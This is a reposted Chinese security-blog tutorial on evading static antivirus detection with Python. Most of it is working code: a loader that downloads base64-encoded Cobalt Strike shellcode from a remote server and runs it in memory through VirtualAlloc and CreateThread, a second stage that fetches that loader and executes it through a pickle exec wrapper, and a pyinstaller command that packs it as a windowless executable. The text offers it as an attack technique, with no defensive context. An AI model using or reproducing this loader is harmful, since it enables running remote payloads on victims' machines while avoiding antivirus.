浅谈Python静态免杀

admin 2023年1月18日21:20:19评论19 views字数 1651阅读5分30秒阅读模式

本文我们再来看看利用python进行静态免杀吧!

先用CS生成 shellcode 把shellcode进行加密放在里面并存放到服务器。pythonBS64shellcode.txt

浅谈Python静态免杀

浅谈Python静态免杀这里为了方便,我们直接放到了kali的apache目录下。并启动Apache

service apache2 start

修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.5.38/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
 
shellcode =codecs.escape_decode(shellcode)[0]
 
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

再次利用python编码

#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.5.38/loader.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

修改服务器地址后使用打包成exe可执行文件pyinstaller

pyinstaller -F -w py_ma.py
浅谈Python静态免杀

效果

浅谈Python静态免杀
更多精彩文章 欢迎关注我们




原文始发于微信公众号(kali黑客笔记):浅谈Python静态免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月18日21:20:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈Python静态免杀http://cn-sec.com/archives/1520660.html

发表评论

匿名网友 填写信息